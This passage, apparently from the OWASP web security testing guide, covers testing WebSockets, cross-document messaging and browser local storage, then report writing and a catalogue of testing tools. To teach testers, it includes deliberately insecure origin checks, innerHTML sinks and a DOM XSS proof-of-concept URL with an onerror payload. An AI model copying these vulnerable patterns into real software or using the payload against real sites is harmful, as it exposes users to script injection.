WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the `ws://` URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the `wss://` URI scheme is used (default port 443). Look out for [Top 10 2013-A6-Sensitive Data Exposure](#) type issues.

Authentication

WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [Top 10 2013-A2-Broken Authentication and Session Management](#) type issues.

Authorization

WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [Top 10 2013-A4-Insecure Direct Object References](#) and [Top 10 2013-A7-Missing Function Level Access Control](#) type issues.

Input Sanitization

As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [Top 10 2013-A1-Injection](#) and [Top 10 2013-A3-Cross-Site Scripting \(XSS\)](#) type issues.

How to Test

Black Box testing

1. Identify that the application is using WebSockets. *Inspect the client-side source code for the `ws://` or `wss://` URI scheme.* Use Google Chrome's Developer Tools to view the Network WebSocket communication. *Use [OWASP Zed Attack Proxy \(ZAP\)](#)'s WebSocket tab.
1. Origin.
2. Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket

server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.

1. Confidentiality and Integrity.
2. Check that the WebSocket connection is using SSL to transport sensitive information (`wss://`).
3. Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection \(OTG-CRYPST-001\)](#) section of this guide.


1. Authentication.
2. WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [Authentication Testing](#) sections of this guide.

1. Authorization.
2. WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [Authorization Testing](#) sections of this guide.

1. Input Sanitization.
2. Use [OWASP Zed Attack Proxy \(ZAP\)](#)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [Testing for Data Validation](#) sections of this guide.


Example 1

Once we have identified that the application is using WebSockets (as described above) we can use the [OWASP Zed Attack Proxy \(ZAP\)](#) to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.



Example 2

Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.



WebSocket Tester

Target:

Message:

Output:

CONNECTED

SENT: test

RECEIVED: test

Gray Box testing

Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.

Tools

- **OWASP Zed Attack Proxy (ZAP)** - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
- **WebSocket Client** - <https://github.com/RandomStorm/scripts/blob/master/WebSockets.html> A WebSocket client that can be used to interact with a WebSocket server.
- **Google Chrome Simple WebSocket Client** - <https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhobngboilpfeibdedpjgfnlcodoo?hl=en> Construct custom Web Socket requests and handle responses to directly test your Web Socket services.

References

Whitepapers

- **HTML5 Rocks** - Introducing WebSockets: Bringing Sockets to the Web: <http://www.html5rocks.com/en/tutorials/websockets/basics/>
- **W3C** - The WebSocket API: <http://dev.w3.org/html5/websockets/>
- **IETF** - The WebSocket Protocol: <https://tools.ietf.org/html/rfc6455>
- **Christian Schneider** - Cross-Site WebSocket Hijacking (CSWSH): <http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html>
- **Jussi-Pekka Erkkilä** - WebSocket Security Analysis: <http://juerkkil.iki.fi/files/writings/websocket2012.pdf>
- **Robert Koch** - On WebSockets in Penetration Testing: <http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf>
- **DigiNinja** - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php

Test Web Messaging (OTG-CLIENT-011)

Summary

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within the WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the `postMessage()` method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.

There are some security concerns when using `*` as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

- data: The content of the incoming message
- origin: The origin of the sender document
- source: source window

An example:

```
Send message:

iframe1.contentWindow.postMessage("Hello world", "http://www.example.com");

Receive message:

window.addEventListener("message", handler, true);
function handler(event) {
  if(event.origin === 'chat.example.com') {
    /* process message (event.data) */
  } else {
    /* ignore messages from untrusted domains */
  }
}
```

Origin Security Concept

The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, <https://example.com/> will be considered different from <http://example.com> because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.

From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not `*` as the second argument of `postMessage()` as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the `addEventListener` method to further analysis as domains must be always be verified prior data manipulation.

event.data Input Validation

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via `eval()` or inserted into the DOM via the `innerHTML` property as that would create a DOM-based XSS vulnerability.

How to Test

Black Box testing

Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:

```

window.addEventListener("message", callback, true);

function callback(e) {
  </b>if(e.origin.indexOf(".owasp.org")!=-1) {<b>
    /* process message (e.data) */
  }
}

```

The intention is to allow subdomains in this form:

```

www.owasp.org
chat.owasp.org
forums.owasp.org
...

```

Insecure code. An attacker can easily bypass the filter as `www.owasp.org.attacker.com` will match.

Example of lack of origin check, very insecure as will accept input from any domain:

```

window.addEventListener("message", callback, true);

function callback(e) {
  /* process message (e.data) */
}

```


Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

```
window.addEventListener("message", callback, true);

function callback(e) {
  if(e.origin === "trusted.domain.com") {
    element.innerHTML= e.data;
  }
}
```

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property `textContent` instead of `innerHTML`.

Tools

- **OWASP Zed Attack Proxy (ZAP)** - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

OWASP Resources

- **OWASP HTML5 Security Cheat Sheet:** https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

Whitepapers

- **Web Messaging Specification:** <http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html>

Test Local Storage (OTG-CLIENT-012)

Summary

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/system reboots and sessionStorage that is temporary and will only exist until the window or tab is closed.

On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

localStorage

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage. Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data. Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accessed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

sessionStorage

Main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed.

How to Test

Black Box testing

Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

First of all, we need to check whether the Local Storage is used.


Example 1: Access to localStorage:

Access to every element in localStorage with JavaScript:


```
for(var i=0; i<localStorage.length; i++) {
    console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
```

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'.



Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.



Also, we can inspect these objects from the developer tools of our browser.

Next manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the storage that represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.

Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.

Example 2: XSS in localStorage:


Insecure assignment from localStorage can lead to XSS

```
function action(){
  var resource = location.hash.substring(1);
  localStorage.setItem("item", resource);
  item = localStorage.getItem("item");
  document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
```

URL PoC:

```
http://server/StoragePOC.html#<img src=x onerror=alert(1)>
```



Tools

- **Firebug** - <http://getfirebug.com/>
- **Google Chrome Developer Tools** - <https://developers.google.com/chrome-developer-tools/>
- **OWASP Zed Attack Proxy (ZAP)** - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

OWASP Resources

- **OWASP HTML5 Security Cheat Sheet**: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

Whitepapers

- **Web Storage Specification**: <http://www.w3.org/TR/webstorage/>

Reporting

Performing the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.

The report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and given to the appropriate teams, such as the developers or system managers. The recommended sections are outlined below.

1. Executive Summary

The executive summary sums up the overall findings of the assessment and gives business managers and system owners a high level view of the vulnerabilities discovered. The language used should be more suited to people who are not technically aware and should include graphs or other charts which show the risk level. Keep in mind that executives will likely only have time to read this summary and will want two questions answered in plain language:

1. *What's wrong?*
2. *How do I fix it?*

You have one page to answer these questions.

The executive summary should plainly state that the vulnerabilities and their severity is an **input** to their organizational risk management process, not an outcome or remediation. It is safest to explain that tester does not understand the threats faced by the organization or business consequences if the vulnerabilities are exploited. This is the job of the risk professional who calculates risk levels based on this and other information. Risk management will typically be part of the organization's IT Security Governance, Risk and Compliance (GRC) regime and this report will simply provide an input to that process.

2. Test Parameters

The Introduction should outline the parameters of the security testing, the findings and remediation. Some suggested section headings include:

2.1 Project Objective:

This section outlines the project objectives and the expected outcome of the assessment.

2.2 Project Scope:

This section outlines the agreed scope.

2.3 Project Schedule

This section outlines when the testing commenced and when it was completed.

2.4 Targets:

This section lists the number of applications or targeted systems.

2.5 Limitations:

This section outlines every limitation which was faced throughout the assessment. For example, limitations of project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across during the course of assessment, etc.

2.6 Findings Summary

This section outlines the vulnerabilities that were discovered during testing.

2.7 Remediation Summary

This section outlines the action plan for fixing the vulnerabilities that were discovered during testing.

3. Findings

The last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to resolve them. This section is aimed at a technical level and should include all the necessary information for the technical teams to understand the issue and resolve it. Each finding should be clear and concise and give the reader of the report a full understanding of the issue at hand. The findings section should include:

- Screenshots and command lines to indicate what tasks were undertaken during the execution of the test case
- The affected item
- A technical description of the issue and the affected function or object
- A section on resolving the issue
- The severity rating [1], with vector notation if using CVSS

The following is the list of controls that were tested during the assessment:

Test ID	Test Description	Findings	Severity	Recommendations
Information Gathering				
OTG-INFO-001	Conduct Search Engine Discovery and Reconnaissance for Information Leakage			
OTG-INFO-002	Fingerprint Web Server			
OTG-INFO-003	Review Webserver Metafiles for Information Leakage			
OTG-INFO-004	Enumerate Applications on Webserver			
OTG-INFO-005	Review Webpage Comments and Metadata for Information Leakage			
OTG-INFO-006	Identify application entry points			
OTG-INFO-007	Map execution paths through application			
OTG-INFO-009	Fingerprint Web Application Framework			
OTG-INFO-009	Fingerprint Web Application			
OTG-INFO-010	Map Application Architecture			
Configuration and Deploy Management Testing				

OTG-CONFIG-001	Test Network/Infrastructure Configuration			
OTG-CONFIG-002	Test Application Platform Configuration			
OTG-CONFIG-003	Test File Extensions Handling for Sensitive Information			
OTG-CONFIG-004	Backup and Unreferenced Files for Sensitive Information			
OTG-CONFIG-005	Enumerate Infrastructure and Application Admin Interfaces			
OTG-CONFIG-006	Test HTTP Methods			
OTG-CONFIG-007	Test HTTP Strict Transport Security			
OTG-CONFIG-008	Test RIA cross domain policy			
	Identity Management Testing			
OTG-IDENT-001	Test Role Definitions			
OTG-IDENT-002	Test User Registration Process			
OTG-IDENT-003	Test Account Provisioning Process			
OTG-IDENT-004	Testing for Account Enumeration and Guessable User Account			
OTG-IDENT-005	Testing for Weak or unenforced username policy			
OTG-IDENT-006	Test Permissions of Guest/Training Accounts			
OTG-IDENT-007	Test Account Suspension/Resumption Process			
	Authentication Testing			
OTG-AUTHN-001	Testing for Credentials Transported over an Encrypted Channel			
OTG-AUTHN-002	Testing for default credentials			
OTG-AUTHN-003	Testing for Weak lock out mechanism			
OTG-AUTHN-004	Testing for bypassing authentication schema			
OTG-AUTHN-005	Test remember password functionality			
OTG-AUTHN-006	Testing for Browser cache weakness			
OTG-AUTHN-007	Testing for Weak password policy			
OTG-AUTHN-008	Testing for Weak security question/answer			
OTG-AUTHN-009	Testing for weak password change or reset functionalities			
OTG-AUTHN-010	Testing for Weaker authentication in alternative channel			

Authorization Testing				
OTG-AUTHZ-001	Testing Directory traversal/file include			
OTG-AUTHZ-002	Testing for bypassing authorization schema			
OTG-AUTHZ-003	Testing for Privilege Escalation			
OTG-AUTHZ-004	Testing for Insecure Direct Object References			
Session Management Testing				
OTG-SESS-001	Testing for Bypassing Session Management Schema			
OTG-SESS-002	Testing for Cookies attributes			
OTG-SESS-003	Testing for Session Fixation			
OTG-SESS-004	Testing for Exposed Session Variables			
OTG-SESS-005	Testing for Cross Site Request Forgery			
OTG-SESS-006	Testing for logout functionality			
OTG-SESS-007	Test Session Timeout			
OTG-SESS-008	Testing for Session puzzling			
Input Validation Testing				
OTG-INPVAL-001	Testing for Reflected Cross Site Scripting			
OTG-INPVAL-002	Testing for Stored Cross Site Scripting			
OTG-INPVAL-003	Testing for HTTP Verb Tampering			
OTG-INPVAL-004	Testing for HTTP Parameter pollution			
OTG-INPVAL-006	Testing for SQL Injection			
	Oracle Testing			
	MySQL Testing			
	SQL Server Testing			
	Testing PostgreSQL			
	MS Access Testing			
	Testing for NoSQL injection			
OTG-INPVAL-007	Testing for LDAP Injection			
OTG-INPVAL-008	Testing for ORM Injection			
OTG-INPVAL-009	Testing for XML Injection			
OTG-INPVAL-010	Testing for SSI Injection			

OTG-INPVAL-011	Testing for XPath Injection			
OTG-INPVAL-012	IMAP/SMTP Injection			
OTG-INPVAL-013	Testing for Code Injection			
	Testing for Local File Inclusion			
	Testing for Remote File Inclusion			
OTG-INPVAL-014	Testing for Command Injection			
OTG-INPVAL-015	Testing for Buffer overflow			
	Testing for Heap overflow			
	Testing for Stack overflow			
	Testing for Format string			
OTG-INPVAL-016	Testing for incubated vulnerabilities			
OTG-INPVAL-017	Testing for HTTP Splitting/Smuggling			
	Error Handling			
OTG-ERR-001	Analysis of Error Codes			
OTG-ERR-002	Analysis of Stack Traces			
	Cryptography			
OTG-CRYPST-001	Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection			
OTG-CRYPST-002	Testing for Padding Oracle			
OTG-CRYPST-003	Testing for Sensitive information sent via unencrypted channels			
	Business Logic Testing			
OTG-BUSLOGIC-001	Test Business Logic Data Validation			
OTG-BUSLOGIC-002	Test Ability to Forge Requests			
OTG-BUSLOGIC-003	Test Integrity Checks			
OTG-BUSLOGIC-004	Test for Process Timing			
OTG-BUSLOGIC-005	Test Number of Times a Function Can be Used Limits			
OTG-BUSLOGIC-006	Testing for the Circumvention of Work Flows			
OTG-BUSLOGIC-007	Test Defenses Against Application Mis-use			
OTG-BUSLOGIC-008	Test Upload of Unexpected File Types			
OTG-BUSLOGIC-009	Test Upload of Malicious Files			
	Client Side Testing			
OTG-CLIENT-001	Testing for DOM based Cross Site			

OTG-CLIENT-001	Scripting			
OTG-CLIENT-002	Testing for JavaScript Execution			
OTG-CLIENT-003	Testing for HTML Injection			
OTG-CLIENT-004	Testing for Client Side URL Redirect			
OTG-CLIENT-005	Testing for CSS Injection			
OTG-CLIENT-006	Testing for Client Side Resource Manipulation			
OTG-CLIENT-007	Test Cross Origin Resource Sharing			
OTG-CLIENT-008	Testing for Cross Site Flashing			
OTG-CLIENT-009	Testing for Clickjacking			
OTG-CLIENT-010	Testing WebSockets			
OTG-CLIENT-011	Test Web Messaging			
OTG-CLIENT-012	Test Local Storage			

Appendix

This section is often used to describe the commercial and open-source tools that were used in conducting the assessment. When custom scripts or code are utilized during the assessment, it should be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It gives them an idea of the thoroughness of the assessment and what areas were included.

References

Industry standard vulnerability severity and risk rankings (CVSS) [1] – <http://www.first.org/cvss>

Appendix

- [Appendix A: Testing Tools](#)
- [Appendix B: Suggested Reading](#)
- [Appendix C: Fuzz Vectors](#)
- [Appendix D: Encoded Injection](#)

Appendix A: Testing Tools

Open Source Black Box Testing tools

General Testing

- **OWASP ZAP**
 - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
 - ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
- **OWASP WebScarab**
 - WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.
- **OWASP CAL9000**
 - CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.
 - Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
- **OWASP Pantera Web Assessment Studio Project**
 - Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to combine automated capabilities with complete manual testing to get the best penetration testing results.
- **OWASP Mantra - Security Framework**
 - Mantra is a web application security testing framework built on top of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, Chinese - Traditional, English, French, Portuguese, Russian, Spanish and Turkish.
- **SPIKE** - <http://www.immunitysec.com/resources-freesoftware.shtml>
 - SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to use and only available for the Linux platform.
- **Burp Proxy** - <http://www.portswigger.net/Burp/>
 - Burp Proxy is an intercepting proxy server for security testing of web applications it allows Intercepting and modifying all HTTP(S) traffic passing in both directions, it can work with custom SSL certificates and non-proxy-aware clients.
- **Odysseus Proxy** - <http://www.wastelands.gen.nz/odysseus/>
 - Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. It will intercept an HTTP session's data in either direction.
- **Webstretch Proxy** - <http://sourceforge.net/projects/webstretch>
 - Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.
- **WATOBO** - http://sourceforge.net/apps/mediawiki/watobo/index.php?title=Main_Page
 - WATOBO works like a local proxy, similar to WebScarab, ZAP or BurpSuite and it supports passive and active checks.
- **Firefox LiveHTTPHeaders** - <https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/>
 - View HTTP headers of a page and while browsing.
- **Firefox Tamper Data** - <https://addons.mozilla.org/en-US/firefox/addon/tamper-data/>

- Use tamperdata to view and modify HTTP/HTTPS headers and post parameters
- **Firefox Web Developer Tools** - <https://addons.mozilla.org/en-US/firefox/addon/web-developer/>
 - The Web Developer extension adds various web developer tools to the browser.
- **DOM Inspector** - https://developer.mozilla.org/en/docs/DOM_Inspector
 - DOM Inspector is a developer tool used to inspect, browse, and edit the Document Object Model (DOM)
- **Firefox Firebug** - <http://getfirebug.com/>
 - Firebug integrates with Firefox to edit, debug, and monitor CSS, HTML, and JavaScript.
- **Grendel-Scan** - http://securitytube-tools.net/index.php?title=Grendel_Scan
 - Grendel-Scan is an automated security scanning of web applications and also supports manual penetration testing.
- **OWASP SWFIntruder** - <http://www.mindedsecurity.com/swfintruder.html>
 - SWFIntruder (pronounced Swift Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
- **SWFScan** - <http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167>
 - Flash decompiler
- **Wikto** - <http://www.sensepost.com/labs/tools/pentest/wikto>
 - Wikto features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring.
- **w3af** - <http://w3af.org>
 - w3af is a Web Application Attack and Audit Framework. The project's goal is finding and exploiting web application vulnerabilities.
- **skipfish** - <http://code.google.com/p/skipfish/>
 - Skipfish is an active web application security reconnaissance tool.
- **Web Developer toolbar** - <https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnfmfcnlldhbm>
 - The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.
- **HTTP Request Maker** - <https://chrome.google.com/webstore/detail/kajfghlhfkocafkclajldicbikpgnp?hl=en-US>
 - Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests
- **Cookie Editor** - <https://chrome.google.com/webstore/detail/fngmhnpilhplaeedifhccceomclgfbg?hl=en-US>
 - Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies
- **Cookie swap** - <https://chrome.google.com/webstore/detail/dfhpnliikbklhjpjapbecpmoicama?hl=en-US>
 - Swap My Cookies is a session manager, it manages cookies, letting you login on any website with several different accounts.
- **Firebug lite for Chrome** - <https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench>
 - Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
- **Session Manager** - <https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnbfmmgdbbkcjfi>
 - With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.
- **Subgraph Vega** - <http://www.subgraph.com/products.html>
 - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.

Testing for specific vulnerabilities

Testing for DOM XSS

- DOMinator Pro - <https://dominator.mindedsecurity.com>

Testing AJAX

- **OWASP Sprajax Project**

Testing for SQL Injection

- **OWASP SQLiX**
- Sqlninja: a SQL Server Injection & Takeover Tool - <http://sqlninja.sourceforge.net>
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - <http://sqlmap.org/>
- Absinthe 1.1 (formerly SQLSqueal) - <http://sourceforge.net/projects/absinthe/>
- SQLInjector - Uses inference techniques to extract data and determine the backend database server. <http://www.databasesecurity.com/sql-injector.htm>
- Bsqlbf-v2: A perl script allows extraction of data from Blind SQL Injections - <http://code.google.com/p/bsqlbf-v2/>
- Pangolin: An automatic SQL injection penetration testing tool - <http://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/>
- Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper - <http://www.ruizata.com/>
- Multiple DBMS Sql Injection tool - SQL Power Injector - <http://www.sqlpowerinjector.com/>
- MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - <http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html>

Testing Oracle

- TNS Listener tool (Perl) - <http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html>
- Toad for Oracle - <http://www.quest.com/toad>

Testing SSL

- Foundstone SSL Digger - <http://www.mcafee.com/us/downloads/free-tools/ssldigger.aspx>

Testing for Brute Force Password

- THC Hydra - <http://www.thc.org/thc-hydra/>
- John the Ripper - <http://www.openwall.com/john/>
- Brutus - <http://www.hoobie.net/brutus/>
- Medusa - <http://www.foofus.net/~jmk/medusa/medusa.html>
- Ncat - <http://nmap.org/ncat/>

Testing Buffer Overflow

- OllyDbg - <http://www.ollydbg.de>
 - "A windows based debugger used for analyzing buffer overflow vulnerabilities"
- Spike - <http://www.immunitysec.com/downloads/SPIKE2.9.tgz>
 - A fuzzer framework that can be used to explore vulnerabilities and perform length testing
- Brute Force Binary Tester (BFB) - <http://bfbtester.sourceforge.net>
 - A proactive binary checker
- Metasploit - <http://www.metasploit.com/>
 - A rapid exploit development and Testing frame work

Fuzzer

- **OWASP WSFuzzer**
- Wfuzz - <http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/>

Googling

- Stach & Liu's Google Hacking Diggity Project - <http://www.stachliu.com/resources/tools/google-hacking-diggity-project/>
- Foundstone Sitedigger (Google cached fault-finding) - <http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx>

Commercial Black Box Testing tools

- NGS Typhon III - <http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-typhon-iii/>
- NGSSquirrel - <http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-squirrel-vulnerability-scanners/>
- IBM AppScan - <http://www-01.ibm.com/software/awdtools/appscan/>
- CenZic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php
- Burp Intruder - <http://www.portswigger.net/burp/intruder.html>
- Acunetix Web Vulnerability Scanner - <http://www.acunetix.com>
- Sleuth - <http://www.sandsprite.com>
- NT Objectives NTOSpider - <http://www.ntobjectives.com/products/ntospider.php>
- MaxPatrol Security Scanner - <http://www.maxpatrol.com>
- Ecyware GreenBlue Inspector - <http://www.ecyware.com>
- Parasoft SOAtest (more QA-type tool)- <http://www.parasoft.com/jsp/products/soatest.jsp?itemId=101>
- MatriXay - <http://www.dbappsecurity.com/webscan.html>
- N-Stalker Web Application Security Scanner - <http://www.nstalker.com>
- HP WebInspect - <http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-webinspect>
- SoapUI (Web Service security testing) - <http://www.soapui.org/Security/getting-started.html>
- Netsparker - <http://www.mavitunasecurity.com/netsparker/>
- SAINT - <http://www.saintcorporation.com/>
- QualysGuard WAS - <http://www.qualys.com/enterprises/qualysguard/web-application-scanning/>
- Retina Web - <http://www.eeye.com/Products/Retina/Web-Security-Scanner.aspx>
- CenZic Hailstorm - <http://www.cenzic.com/downloads/datasheets/Cenzic-datasheet-Hailstorm-Technology.pdf>

Source Code Analyzers

Open Source / Freeware

- **Owasp Orizon**
- **OWASP LAPSE**
- **OWASP O2 Platform**
- Google CodeSearchDiggity - <http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/>
- PMD - <http://pmd.sourceforge.net/>
- FlawFinder - <http://www.dwheeler.com/flawfinder>
- Microsoft's FxCop
- Splint - <http://splint.org>
- Boon - <http://www.cs.berkeley.edu/~daw/boon>
- FindBugs - <http://findbugs.sourceforge.net>
- Find Security Bugs - <http://h3xstream.github.io/find-sec-bugs/>
- Oedipus - <http://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/>
- W3af - <http://w3af.sourceforge.net/>
- phpcs-security-audit - <https://github.com/Pheromone/phpcs-security-audit>

Commercial

